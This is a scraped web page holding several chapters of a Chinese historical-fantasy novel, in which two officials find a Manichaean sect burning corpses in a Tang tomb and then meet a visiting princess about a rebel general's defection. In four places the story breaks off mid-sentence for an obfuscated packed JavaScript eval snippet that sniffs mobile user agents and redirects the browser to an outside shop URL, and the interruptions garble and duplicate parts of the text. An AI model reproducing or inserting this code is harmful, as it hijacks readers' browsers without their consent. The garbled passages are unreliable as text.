等了一会儿,直到魏无功终于死心,提了裤子出去,李在宥才长舒一口气,开始尿尿。一边尿一边琢磨,突然觉出不对劲。 “草!幼不幼稚!” 李在宥洗了手,愤愤地甩着水。 下午,魏都头默默牵了条狗给他。是条大公狗,各种意义上的。绳子递给他的时候,看他的眼神十分复杂。李在宥翻了个白眼,不想解释。死文盲,又不是所有的走马承受都是阉过的,读点儿书吧! 一切按计划进行,不出三天的时间,牛二果然成功和回鹘人接上了头。伪造的尸体被取走后,连忙回来禀报。安排好后续的接应,两人骑上马带着狗出发了。 12. 摸金校尉 接近村口,两人从马上下来改为步行,只留大黑狗跟在身边。 将马匹放回去的时候,看马有点儿紧张。走了没两步,就看见村寨大门附近一处低矮简陋的祭坛,确信了牛二给的情报。 太阳在地平线上只剩一线白光。乌鸦归巢,叫得山响。荒村视野很差,大片树影和夯土墙投下厚重的阴影,只能摸着黑往前走。 李在宥转头看了一眼魏无功,神清目明,脚底下一点儿声音都没有。 “你这个功夫,练了有多少年?”他小声问。 魏无功转头看了他一眼,刚要答话,突然看见一团红光直奔他后脑。 “低头!”他低喝一声,抄起腰侧的佩刀,对空一拍。“彭”的一声,那东西被拍到一旁的夯土墙,毛团血雾扑簌簌落下。原来是只乌鸦。 “……这儿的乌鸦都这么凶?”李在宥凑近一看,五脏六腑俱破,魏无功刀还没出鞘,于是捂着鼻子回头冲他树了个拇指。 “它眼睛也是红的。”魏无功说。 “可能是吃了死人。”李在宥说。乌鸦食腐,这附近的感染浓度看来是很高了。 往村寨里又走了一段,靠近一处晒台,乌鸦叫声突然密集了起来。 “嘎哇——哇——嘎哇——” 一声声怪叫分外刺耳,心跳都跟着快起来了。 李在宥往上看,乌漆嘛黑一大片,扑棱棱跳着叫着,在黑夜里显得异常兴奋。太阳彻底落下去了,其中几只的眼睛在黑暗中异常红亮。 “有人在喂他们,”魏无功鼻翼抽动,羚羊般腾身跃上晒台,用刀柄刮下一坨东西甩在李在宥脚边。 李在宥蹲下去看了一眼,是一块新鲜的羊头,还带着未凝固的血迹。 “看来,我们离妖人的老巢很近了。” 回鹘人有意识地在收集这种让人发狂的东西,连鸟雀都征用做了他们的容器,真是邪得不行。 大黑狗一路上表现得都很沉稳,不叫不闹,目标明确。但是一直都快穿出了荒村,它还是闷头向前。 “嗯?”魏无功问:“这狗是不是有点不靠谱?” 李在宥也有点怀疑,村民不会诓他钱找了条菜狗吧,这看着也不像。 “再等等吧,”他想了想说:“牛二不也说他们来没找到嘛,这个荒村看着也不像有人长住,兴许就是故意用来障眼的。” 终于,李在宥腿都走酸了,狗子才在村后头一座小山包前停了下来。这里长期没人打理,草木荆棘重新铺满了曾经上山的小路,狗到了这里,也有些迷茫。 “这里被人泼了醋水,掩盖了气味,狗找不到了。”魏无功蹲下来,扒拉开一些草堆,勉强看见一些曾经石子路的痕迹。“啧,真他妈鸡贼啊。” “好狗,你先回去,后面的哥哥们自己找。”李在宥俯身拍了拍狗脑袋,手感很好,他很喜欢狗的。魏无功瞥了眼大黑公狗下面精神抖擞的样子,忍不住叹了口气,望着李在宥的眼神又复杂了起来。 李在宥抬头看山势,他们站的方位,坐北朝南,东南易水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105034|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓流环绕,西北燕山白虎低头,面前村寨田地一马平川,明堂开阔,心下明镜似的有了主意。怪不得牛二他们找不到这里来,原来那群回鹘人不在地面,而在地下,这里分明是一处青山埋骨的风水宝穴,回鹘人直接把僧众据点安在了大墓里面。 他正准备跟魏无功分享他的发现,却发现他已经拔腿上山了,不禁有点疑惑。 “你知道怎么走吗?”他问。 “可能知道,”魏无功在前面说:“路不好走,你跟紧点。” 李在宥更疑惑了。 他跟着魏无功,磕磕绊绊往上走。到了半山腰某处,因为日照充沛,乱七八糟的荆棘少了,路面变得开阔。只见前面的魏无功突然蹲了下来,捻了一坨土壤,搓开放在鼻子上闻。李在宥瞬间瞳孔地震:“好小子,居然是个摸金校尉!” 他看破不说破,只是继续跟着魏无功往前走。过了一会儿,魏无功转过头来,拧着个眉毛,似乎在纠结措辞: “那个……这前面可能有地下的入口……不过呢,这种深山老林,地下同时埋着人也说不定……” 李在宥望着他,忍不住想笑。他又不是地方官差,才懒得管这种事。 “你说老实话,以前没少倒斗吧。” “……早看出来了?”魏无功嘴角一扯,眯起眼睛打量他。 “嗯呐。”李在宥一脸戏谑。 “没劲。”魏无功甩甩手,闷头接着往前走。 “死太监,”他心里暗骂一句,早知道不解释了。 13. 烧尸取盐 魏无功很快找到了墓穴口。墓道已经被摩尼教众清理干净,四周壁画颜色依旧鲜艳,图中仕女体态丰腴,看风格大概来自晚唐。 两人没有贸然走进去。魏无功先是趴在墙面上听了一会儿,确定里面没人才继续往前走。整个墓道比想象中的长,两侧墙面甚至还有仪仗图,这有点出李在宥的乎意料。这意味着墓主人的身份超越一般贵族,属于皇亲国戚一类的。 “不应该啊,”他小声说:“唐代的帝王将相不应该都葬在关中吗?”可惜,墓道最中间的墓志已经被人挪走了,暂时看不出身份。 等走到墓室正中央,李在宥更加确信自己的判断:这座墓内空极大,格局完善,陪葬规格也很高。比较特殊的是正上方天穹的彩绘,除了常规的星象之外,还有一些西域特有的伏乐飞天彩绘,天神衣带流转、栩栩如生,仿佛是要接引墓主人去西方极乐世界一观。 不过,除了墙绘,其他的陪葬器物已被清理一空。主墓室改建成摩尼教祭坛,中间摆放棺椁的位置被换上了一口巨大的金属大釜,画着象征着囚禁光明的“炼狱熔炉”图绘。 祭坛两侧悬挂白色布幔,左边绘有日月、十字架、生命之树等象征光明的符号,又则借用墓室粗糙的岩壁,悬挂黑色、深紫色的织物,象征黑暗王国。大釜的背后最显眼的位置,是光明尊的塑像,衣着攀佛附道,不伦不类的。 魏无功摸着铜釜上的铭文篆刻,有点迷茫,问:“‘玄牝之门’不是老君爷的东西吗,怎么跑到妖人的锅上头来了?” “嗯?”李在宥问:“你不是说不识字吗?又骗我?” “什么叫又……”魏无功收回手摸摸鼻子,含糊道:“在道观边上住过,看熟了。” “摩尼教传入中原之初屡屡碰壁,为了便于理解,先是攀附佛教,结果被前朝玄宗看破给禁了,又考虑到当时以道教为尊,便引用《老子化胡经》的典故,说李耳‘舍家入道,号末摩尼’,”李在宥解释道:“说白了,就是硬要认个本地祖宗,好在这地界上讨生活。” “哦……这样啊,”魏无功脑补着传教士们处心积虑的样子,有些好笑,忽听得外面有动静。“有人来了,”他立即警觉,“打还是跑?” 李在宥环顾了一下四周,想找个藏身之地,但是墓室开阔一览无余。他抬头看向墓室上方用于通风和回填的天井,上面有一根固定土方的横梁,可惜太高了…… “上去是吧,行,”魏无功说:“走你!” 李在宥还没反应过来,就被他拎鸡崽儿一样提溜了后颈——等等,这姿势怎么该死的熟悉! “你等……”他抗议的话还没说完,魏无功就拽着他,在墓室墙壁上借力一蹬,把他像包袱一样扔了上去。李在宥只觉得眼前一花,一阵上下颠倒世界,他便一屁股落在横梁上了。 “哎呦!”他小声呼痛,像只四脚朝天的王八一样把自己翻过来。再看魏无功,飞燕一般轻盈点踏,稳稳站在自己面前,心里很是不平衡。 “你故意的。”李在宥揉着屁股说。 “不是,”魏无功干咳一声:“没想到你这么轻,劲儿使大了。” “……”李在宥有点想骂人,但是底下一阵脚步声打断了他的话。 是回鹘人回来了。他俩脑袋挨着趴在光线照不到的天梁,小心翼翼探头去看。除了分外眼熟的阿尔斯兰,还有几个入教的汉人。约莫十五六个男人举着火把,拉了个装尸体的板车,上面横陈着七八具尸首,除了他们眼熟的那个拽刺的脑袋,居然还有一具是金人打扮。几个人用火把点燃了墓室四壁安放的油盆,内空一下亮了起来。 阿尔斯兰似乎是“魔王”(教首/祭司),身披日月图案的毛毡,手持青铜镜,口中念念有词。其他人沉默着把实体扔进中间的铜釜,淋上大量火油。 两位梁上君子瞬间感觉不是很妙。 果然,阿尔斯兰对锅边的男人点头示意,他将火把扔了进去。 “轰——”的一声,大火熊熊燃烧,一阵焦臭味跟着腾起。 “完蛋,”李在宥小声说,他俩所处的位置正好对着腾起的烟雾。“这要等他们烧完,我俩要熏城腊肉了。” “谁让你一眼相中这个位置了。”魏无功也很难受,他本来就体热,现在被蒸汽一烤,瞬间出了一身汗,但又不能脱衣服。 “你可以质疑我啊!我说什么你就听什么吗?我让你写罪状你怎么不听……”李在宥一紧张就话多。 “不是你要教我捉生吗?李师父。”魏无功翻了个白眼,李在宥絮絮叨叨,被他按住嘴。“你可闭嘴吧……” “算了,”李在宥打开他的脏手,心里念叨,“一日为师终生为父”,都说水往下流,当爹的就不跟儿子计较了。 摩尼教的法事逐渐进入正轨,尸体燃烧之后,十几个汉子四散开来,围成圈坐下,开始集体吟诵: “此身堕于暗界,五毒缠缚,光锁其中……以净火焚之,救光明于重暗……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105035|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们凝视着大釜,表情狂热而虔诚,声音逐渐走高。阿尔斯兰执镜站在当中,边唱边跳。摩尼教认为铜镜能捕捉和反射光明,他将手中的火光频频反射到尸体上,仿佛是要在尸首当中“采集光明”。 “明尊使,智慧使,大力使!“ “摧裂暗窟,解放明性!” 他突然一阵大喊,声音在墓室回荡,凄厉又鬼魅。 十几个教众应声而起,跟着他一起跳跃。火油明暗晃动,他们的影子被扭曲、放大,投射在岩壁上,如同群魔乱舞。 李在宥突然感觉到一阵头晕目眩。刚开始他以为是被尸臭和焦油味儿熏的,但是逐渐,这种感觉变了味儿——他开始出现幻觉:一开始是绵延无尽的黄沙,再是漫天的暴风雪,他沿着一条山脊向前,仿佛天地独行客,孤独悲怆,在一片光怪陆离中逐渐下坠…… “喂!醒醒!”他听见有人在喊他。 视线逐渐聚焦,眼前是一片焦油的火海。 “诶我去,”等他清醒过来,发现自己半边身子在木梁外面,脑袋倒挂着吊在半空,要不是腰腿被魏无功拽着,人估计要直接跌进火锅里了。“我这是怎么了?”他连忙往上爬回木头上趴好。好在底下几个跃动的人影投入得深沉,没有人抬头注意上面的异状。 他转头看魏无功,状态也不是很好,满头大汗,头上青筋一抽一抽地跳,显然也是在奋力抵抗种种奇异的侵袭。 “尸血很邪,”魏无功说,“你掩住口鼻先。” 李在宥点点头。只见底下一个人,站在锅边,举着一个巨大的铁钩耙,在翻动那些已经烧得差不多的尸块儿。阿尔斯兰等人此刻被空气里的异样感染,也是个个癫狂得不行: “看啊!光明之血,神力之盐!囚禁的已被释放,散落的终将重聚!” 他双目隐隐泛红,果然和之前预感的一样,也是个特殊的体质。尸柴即将燃尽,刚刚如蒸锅一般的墓室此刻气温骤然下降,之前流的热汗这会儿冰凉地黏在身上。从上往下,光线影影瞳瞳,回鹘人面带微笑,明明离得很近,却透着一种无法理解的疏离,让人感到一阵脊背发凉。 阿尔斯兰最后声嘶力竭地喊着:“玄牝之门,是谓天地根……真火炼去阴浊质,纯阳之精已复现!” 说完,大墓里陡然安静了下来。两人忍着恶心,看他们在尸体焚烧之后剩余的骨灰堆里,小心用铁筛分离出一种红色的晶体。火光下,晶体在余烬中闪烁的妖冶的微光。 14. 羊眼板珠 摩尼教众得到了想要的东西,互相交流一番准备离开。魏无功对着李在宥做了个口型,问“追吗?”李在宥摇摇头。妖人老巢已经找到了,没必要逼这么紧。 等墓穴暗下去之后,魏无功从梁上跳下来,重新点了一盏油灯,四处打量着,还不忘往锅里看一眼。 “喂!”李在宥被他晾在上面,试图引起他的注意。 “不是吧,这你下不来?”魏无功看了一眼上面,李在宥坐在梁上,想下不敢下的。“行吧行吧,我上去……” “不许拎我后颈!”李在宥抗议。 “那……拎哪儿?”魏无功上下打量了他一番,没找到下手的地方,总不能抱着吧?! 李在宥也后知后觉意识到这个问题。 “要不还是后……” 话还没说完,魏无功突然抄起他的腰,扛麻袋一样扔在肩上。“噗啊~”李在宥的肚子在他肩膀上膈了一下,要不是午饭吃得早,能直接怼出来。 魏无功落到地上给他放下,看他直接一屁股蹲地上,一副准备讹人的架势,无奈道:“又怎么了大小姐?” 正说着,忽而隐约见着墓室边沿的排水渠里,有几个小珠子,发出暗哑的折射。好奇心重,他过去拾了起来。 “嚯,这眼神儿,”李在宥捂着肚子想着,没凑过去。 “你行不行了还,”魏无功随手将珠子揣兜,转头看见李在宥还蹲着。 “你肩膀跟铁坨似的……”李在宥抬头,刚准备耍个赖皮说“要不你把我背回去吧”,突然看见魏无功的脑门子笑出声。 “诶,你头上的毛烤卷儿了!”这会儿一缕头发从他脑袋上耷拉下来,带着点弧度,还怪好看的。 “……”魏无扯了一下那一绺头发,说:“其实一直都是卷着的,是我平时扎上去了。” “嗯?自来卷儿,那你是胡人啊?” “可能吧,沈团练也这么说。” 听这个潜台词,魏无功大抵是个孤儿,并不知道自己的来处,李在宥一时不知道这话怎么接。 “走吧。”魏无功说。 “哦,”李在宥站起来,跟着他出大墓。 快走到墓门,李在宥突然看见前面一个面色苍白的女人从门里探出头来,给他吓了一跳: “鬼啊!!!!” 他一声爆喝。 “别嚷,”魏无功又捂了他的嘴:“就是个门上的装饰,一惊一乍的。” 李在宥照例打开他的手,连呸三声:“刚摸的土你。” 举起火把来看,原来是妇人启门图,是常见的墓门装饰,一般画的是西王母坐下女婢,暗示地下空间与仙界相连,前来接引主人成仙。 “但是,这个图不应该画在正面吗?”李在宥说:“怎么在门背后……” “装反了吧。”魏无功随口敷衍。 出来的时候已经是晚上了,月光照不到的密林里夜鸮悲号,衬得落了薄雪的村寨愈发孤寂。 “你摸了个什么东西?”李在宥问,声音在旷野显得比平时清晰。 “几个石头子儿,”魏无功掏出一个放他手上。“值钱的肯定都搬走了,这个权当纪念吧。” 李在宥摊开手拿近了看了一眼,说:“那个大墓回头我回京查查看是谁的,感觉有很多西域的东西,有点好奇。”手上的小珠子非金非玉,带着眼睛一般的玛瑙纹,吐蕃人管它叫鲁米,又叫马眼石,汉人称呼为羊眼板珠,据说能够通灵辟邪。可惜这几颗太小了,不过米粒儿大,若是再大一点,兴许还值几个钱。 “你什么时候回去?”魏无功问。照理说,“监军”已经有了初步结论,他该回去答话了,但是看他怎么好像一副要长期赖在这里的样子。 “我明天就走了,”李在宥看了他一眼说:“一直盼着呢是吧。” “……”魏无功本来随口一问,突然听到答案反倒有点不知所措。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105036|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这么快……” “骗你的,我才不走。”李在宥做了个鬼脸,他的靠山都要来了他走什么走。 “……”魏无功不想跟他纠结这个问题:“那沈团练说的民变的事儿,你打算怎么替他说?” “那个啊,我觉得是他多虑了,”李在宥说:“不过也不能怪他,毕竟这个事儿敏感。” 他两个指头捏了羊眼板珠,对着月光又看了看,说:“我个人觉得,回鹘人只是恰好都信仰摩尼教,而外教因为风格特殊,容易引起人的额外关注。” 那些被焚烧的尸体里,有金人的也有辽人的,并没有看出来摩尼教派在传播与收集过程中有任何的偏袒。与其说是扶持某种势力,不如说是在收集残羹剩饭。 “阿尔斯兰就像乌鸦,本身并不具有制造不详的能力,”李在宥推测道:“他们若真有扶持一方、搅动风云的野心,就该像赤焰军一样,而不是把力量打碎了,零散地卖成烟草。这不合常理。” “更合理的解释是:他们无法大规模制造或控制我们看到的红色晶盐,只是掌握了二次利用的方法。” 他偏头看了眼魏无功:“那东西看来不被人体所吸收,回鹘人只是在魔鬼陨落之后,叼啄那股力量的残骸,想在边境线上挣点儿快钱……” 魏无功仔细想了想,好像是这么个理儿。他的调查只见到回鹘人贩卖英雄烟,但是并没有直接使用这种能力的记录,唯一看到的完全形态,只有前几夜的辽军。 “所以,我现在更担心的问题是,辽军和金军对这个力量的掌握情况如何。”李在宥看着远方的月光映照的雪原:“至少,辽军的掌握程度在我军之上,这点不容置喙。我们的情报得快点跟上才行。” 魏无功看着他,突然有点陌生。有些人平时看着没个正形,但是会在某一个瞬间,突然出现一种上位者的气息。 回想自己以前和这人打交道的种种,是不是有点太随意了…… 15. 赵元贞 两人回到寨堡,准备去找沈仓汇报最新的发现。门口守夜的士兵说,寨堡里今天来了位贵人,正在和沈团练说话。 “什么贵人要跑到这里……”魏无功正在问,一旁的李在宥神色突然亮了起来,拉着他就往沈仓会客厅里冲。 “嘛呢,”魏无功一头雾水,看着自己的手腕子。 “走走走,”李在宥高高兴兴小跑在前面,“带你去见个世外高人。” 他似乎非常笃定,门都没敲就往里进,大喊一声:“公主!” “哎,”里面一个很温柔的女声应了一句:“怎么到了人家的地盘,还是疯疯癫癫的,礼貌呢?” “太想你了嘛,顾不上咯!”李在宥放开魏无功的手,行了个极不标准的礼,笑嘻嘻地一屁股坐在公主边上,问:“你什么时候到的。” 他俩看上去很亲昵……但是是不是也有点太亲昵了。沈仓很震惊地看了眼魏无功,魏无功读懂了他的眼神:“男的可以这么撒娇吗?”魏无功想说男的可能不行,但是太监没准儿可以,可惜他当下不能说话,只能给沈仓一个“我懂你”的眼神。 “你脏死了,起开,”赵元贞指尖轻轻点开他凑过来的额头,“你们两个去挖矿了吗,脸怎么都黢黑的?” “哟,忘了,刚去古墓,”李在宥站起来拍拍身上的灰,转头看魏无功:“还真是,脸都熏黑了。”刚外面光线暗没发现,现在进了灯火通明的室内,才发现两人侧脸都是烟熏出来的一道道的黑杠杠,看着怪可怜的。 “先打水洗洗脸,”沈仓对着魏无功说:“让公主看笑话了。” “没有的事儿,我看着他们年轻人喜欢,”赵元贞对着沈仓摆摆手,揪了一下李在宥的花猫脸说:“刚和沈团练见面问起你们来,你们俩就出现了。” 魏无功没见过这种场面,一时不知道该干什么,只能就这么直愣愣盯着公主看。这确实是他长这么大见过的最好看的人了——看面相似乎刚逾三十,天庭饱满、鬓角斜飞、端庄大气、雍容华贵。魏无功注意到她没有裹足,也不遮掩,就这么大喇喇地露在外面。 “你就是魏无功,”赵元贞突然问到他脸上,把他吓一跳。“在宥信上说,你功夫很好。”当然,除了功夫好,还痛陈了很多利害,这就不提了。 魏无功刚要答话,突然,赵元贞飞身跃起,直接朝他招呼过来。他来不及看沈仓脸色,只能仓皇接应,一边心里呐喊,上来就直接动手吗?公主不是来给李在宥报仇的吧! 无奈,魏无功不敢还手,只能被动格挡。公主的功夫很出乎他的意料,看着不显山不露水的,居然劲儿还挺大,下盘也稳,比某人强多了。不过,深宫女子……应该是这样的吗?! 沈仓不明所以,吓得连忙站起来。李在宥在一旁安慰他说:“放心,她就是玩性起了,您甭管她。”说完他还在边上起哄: “魏都头,你出招啊,你只管打她,打坏了我替你兜着!” “放你妈的屁,”魏无功心里狂骂,他倒是敢。有一个神神叨叨阴晴不定的李在宥就够他烦的了,现在还来了一双,城里人都是这样的吗…… 只十七八个回合,公主便停了手,复又坐回去了。“哎呀,小魏净让着我,”赵元贞喘着气笑着说:“不过身手是真的好,怪不得能把在宥胖揍一顿。” 果然还是陈了是吧,就知道!魏无功想着,不过也稍稍放下心来,眼前这位贵人,似乎没什么架子。李在宥太不要脸了,被人打的事情居然还能一五一十给公主告状,丢不丢人! “不玩儿了,说正事,”赵元贞突然收了神色,郑重地看着沈仓说:“我这趟来,主要是为了赤焰军的事儿。” 三个人闻言,立马收心,齐刷刷望着她。 “我知道你们奇怪,为什么回鹘人在北边吃得开。”赵元贞一开口就是他们最感兴趣的话题:“不是阿尔斯兰有本事,而是张定钧的赤焰军主动委托他来传话。” “传什么话?”李在宥问。 “张定钧这个人看大形势,早有弃辽之意。约莫半年前,朝廷就收到了他的投诚信,”赵元贞说:“但是那会儿,他吹嘘的赤焰军种种,多少有点王婆卖瓜的意思,没有引起多少重视。” 沈仓在脑海中回忆了一下,张定钧此前一直在西北和女真人对抗,虽然以前没直接对上,但是也听闻过是一位枭雄。那天的玄衣人,原来就是他。 “后来,他又频频向金军示好,在宋金之间摇摆不定,想要两头吃,更显得轻浮,”赵元贞接着说:“枢密院晾了他半年,原本是打算不了了之的,却没想到前阵子我们派去金军的眼线,探查到了这里面恐怕确有几分真,才重新被拿起来研究。” “恕末将愚钝,既如此,他又为不与朝廷商洽,转而借着回鹘人的由头,跑来易州挑衅?”沈仓问。 李在宥嘴和脑子都快,在一边解释:“因为宋金已有海上之盟,联合抗辽约定在前,论理,如果宋廷和辽军要官方书信往来,被金人知道了于道义有失,委托一个中立的行踪不定的买卖商人,是折中之法。” 赵元贞点点头,接着他的话说:“文书流转,效率不高,张定钧大概是等得急了,决定自己找中间人,直接联系上云昭阁。” 她看了一眼李在宥和魏无功,嘴角含笑:“不过呢,回鹘信使纵然神通广大,与咱们的第一次接头,却不是很顺利。” 李在宥心里“咯噔”一下,飞快地抬头瞄了她一眼,确认她没有真生气,立马换上一副乖巧的小表情,一只手指头戳着魏无功说:“这不都怪都头神兵天降嘛……” 魏无功慢了半拍才反应过来,公主这是在点他俩,尴尬地摸了摸鼻子。 “张定钧大概是觉得屡被轻视,心中不爽,硬是想办法绕开自己人的边防,对镇戍军做了一次奇袭,目的就是亲眼让这边也得见,赤焰军真正的实力。” 乘胜而降往往是更高明的做法,张定钧领着赤焰军来易州走一遭,就是想要把主动权握在自己手里。说到这里,沈仓也就明白了。 “看来,他是想加大自己的筹码,”沈仓说:“张定钧很聪明,如果不打这一仗,他是被动受降,打完,就是奇货可居了。” “正是了,”赵元贞颔首:“现在,他的能力已确认。我这趟来,就是来争取他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105037|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归降的。” 沈仓有些奇怪,招降且不论大小,至少也是军中事务,怎么派一个女人打头阵,不过当下他并不方便问。他想了想说:“公主,张定钧手中的赤焰军,邪性深重,与虎谋皮,困难重重。若有用得上末将的地方,尽请吩咐。” “难得沈大哥有这份心,”赵元贞不喊沈仓头衔,主动自降身份,“说起来,还真得您帮忙。” “阿尔斯兰既然接了张定钧的差事,还是有始有终的好。”她说。 沈仓应了声“是”,心下了然,赶紧安排人去抓捕阿尔斯兰,带回军中让公主问话。 天色已晚,不便再交谈。沈仓安排好客房,便带着魏无功退了出来。 “无功啊,”四下无人的时候,沈仓说:“我看你现在跟李使臣,相处还挺融洽?” 魏无功站住了,眯起眼睛看他:“你别拿我寻开心,有话直说。” 沈仓笑笑,拍了拍他肩膀说:“有机会还是探探李使臣的口风,这位公主殿下……在京里时,是在哪一宫行走,身边关系又如何,但是不要太明显。” “你觉着她有问题啊。”魏无功问。 “公主挂帅,本就不常见,”沈仓说:“但是呢,她省亲暂住的文书,的确是官家用了宝的(盖了玉玺)。” “再说,她若真是奉旨经办,怎么出行如此低调,身边连个体己的老官官都不带?”沈仓目光投向公主院落的方向,压低了声音,“我在禁军当值这些年,也算见识过些场面,却从未听过云昭阁的名号。那张定钧远在边陲,又是怎么把消息递到公主案头的?” 沈仓话里有话,既怀疑招降是不是上面的意思,又怀疑公主有没有自作主张的权力。 魏无功虽然不觉得自己有本事从李在宥嘴里扒拉出真话,还是先应下了:“明白了,我留神。” 另一边,李在宥正在翻赵元贞的行李。 “哇,你这好不容易从宫里出来一趟,怎么全是书啊,好吃的都没想着给我带一口。” “哎,甭提了,你以为我想来,”赵元贞半靠在榻上说:“易州苦寒之地,多翻几个身被子就凉透了。” “你这趟来,童相要不高兴了吧。”李在宥转头问。 “我才不管他。你也知道的,枢密院那帮老爷们,一个事儿能从年关议到清明,”赵元贞随手从书堆里抽了一本放在床头,笑着说:“再说了,我要再不来,万一张定钧不讲规矩,真一箭拿了我们李大人的小命怎么办。” “放心,魏都头功夫好得很,他打不着我,”李在宥说:“依我看,谁来也不如你来好,你顶的上十个男子呢。” “少拍马屁,”赵元贞笑他:“前两天还跟我哭被人揍得鼻青脸肿,现在又好到一头去了是吧,要不要脸了还。” “不过,”她话头一转:“我还真有点担心,那个张定钧不像是能进听女人说话的,我还得想点儿手段。” “你来,我给你看个东西……”李在宥凑过去,看赵元贞拿了个小小的盒子,里面是一颗颗圆溜溜的药丸一样的东西。 “等过几日见了阿尔斯兰,你就这么说……” 16. 光明血 “你干嘛?”李在宥前脚拜别公主,后脚进自己房间,一脸懵逼望着端了碗糖水坐在他板凳上的魏无功。 “元宵快到了,厨子搓了汤圆儿,”魏无功说:“团练让我给你送一碗。” “……”李在宥寻思着元宵还有半个月,怎么独他有汤圆。“无事献殷勤……”他不明所以,还是嘟囔着接了。 两人尴尬地对峙了一会儿,李在宥很疑惑魏无功怎么还不走。“有事儿?”他拿小勺子搅了两下汤,放了碎芝麻,还挺香的。 “没事儿,就是……”魏无功有点局促,“我想问那个公主,平时在宫里……吃住情况……” “嗯?”李在宥抬起头。 魏无功赶紧解释:“汤圆儿也做了她的份儿,主要是想问问吃不吃得惯……” “汤圆能有什么吃不惯的……”李在宥放下手看着他。 “……”魏无功艰难地措辞:“就是呢,想着宫里的贵人难得来一趟,团练支我来问问公主以前怎么吃喝,免得怠慢……”沈仓让他别打听得那么明显,这已经是他的极限了。 “所以到底是你想问,还是沈仓想问?” “……”魏无功一下被他问的有点懵,李在宥皮笑肉不笑的时候感觉有点凶,但是他直觉不能说出沈仓这层,只好说“我,主要是我问,毕竟我要去跟厨房的老胡头儿交代……” “你不对劲,卷毛儿。”李在宥盯了他一会儿,“你不对劲。” “哪儿……不对劲……” “你平时哪有这么多话!”李在宥眯起眼睛,“你不会是想当驸马爷吧?” “!!”魏无功惊呆了,这什么思维方式?! “没有!”他感觉自己头上的卷毛儿都要直了。他只是想打听一下公主的背景,没想到李在宥脑回路这么清奇。 “算了,我就活该问……” 李在宥看着他慌忙窜出去的背影,慢悠悠拿起勺子叼了一个汤圆,笑得一脸奸邪。 “小样儿,让你瞎打听。”他踩着京剧步子,哼着小曲儿溜进凳子里,“秦香莲她三十二岁,状告当朝驸马郎,欺君罔上藐皇上,悔婚男儿招东床……” 沈仓办事效率很高。第二天一大早,阿尔斯兰就被按在了议事厅。 沈仓坐在正中,公主坐在右后侧,象征性找了个纱帘“垂帘听政”。李在宥和魏无功一左一右门神一样站着。 “阿尔斯兰,今天押你来所为何事,你可知道?”沈仓沉声问。 阿尔斯兰装傻:“将军大人,我嘛,一个本分的生意人,赶着骆驼,沟通东西,不知道哪里把巴依老爷们冲撞了哩。” “哦?你倒是说说,你都卖些什么东西?” “哎呦,好的嘛都卖!毛毡、羌酒、烟叶子,东西南北,什么金子多就卖什么嘛……” 沈仓一拍案几:“你用那‘英雄烟’荼毒我大宋军士,致使其神智癫狂,你猜猜看,你有几个脑袋可以掉?” 阿尔斯兰滚刀肉一般:“将军,您这话不对嘛!那是光明尊筛选勇猛的武士,承受不住光明的力量自己坏掉了,怎么能怪中间的使者嘛!”说完,他抬头看了一眼侧边的李在宥,见他后面帘子里有人,就伸长了脖子往里瞄。 “眼睛不想要了是吧?”李在宥居高临下看着他。 “那还是想要的嘛,”阿尔斯兰缩回头,脸上堆起谄媚的笑,从怀里掏出个小包袱,小心翼翼地四角打开,露出里面黑红的晶体——正是魏无功他们在墓里见到的那个。“光明尊看见一位尊贵美丽的夫人,十分喜爱,要求使者献上击碎黑夜的光明血,日夜服用,夫人会像昆仑的吉祥天女一样永葆青春……” “你好大的胆子,”李在宥说:“这种垃圾也敢拿出来当宝贝献。”他随手拿起一个做工精致的小盒子,看也不看就往阿尔斯兰脚边一扔,盒盖儿摔开,圆溜溜的小圆球咕噜噜滚了一地。 “这是……”阿尔斯兰定睛去瞧,瞪大了眼。 白天光线下,几颗圆润丹丸红光内蕴,质地匀净,看起来和红色晶盐如出一辙,却被烤制得温和圆润,少了很多邪性。 “叫你这蛮子看看我们中原的东西开开眼。” “哎呀,小人眼瞎!美丽的夫人尊贵异常,吃穿用度都是顶天的……” 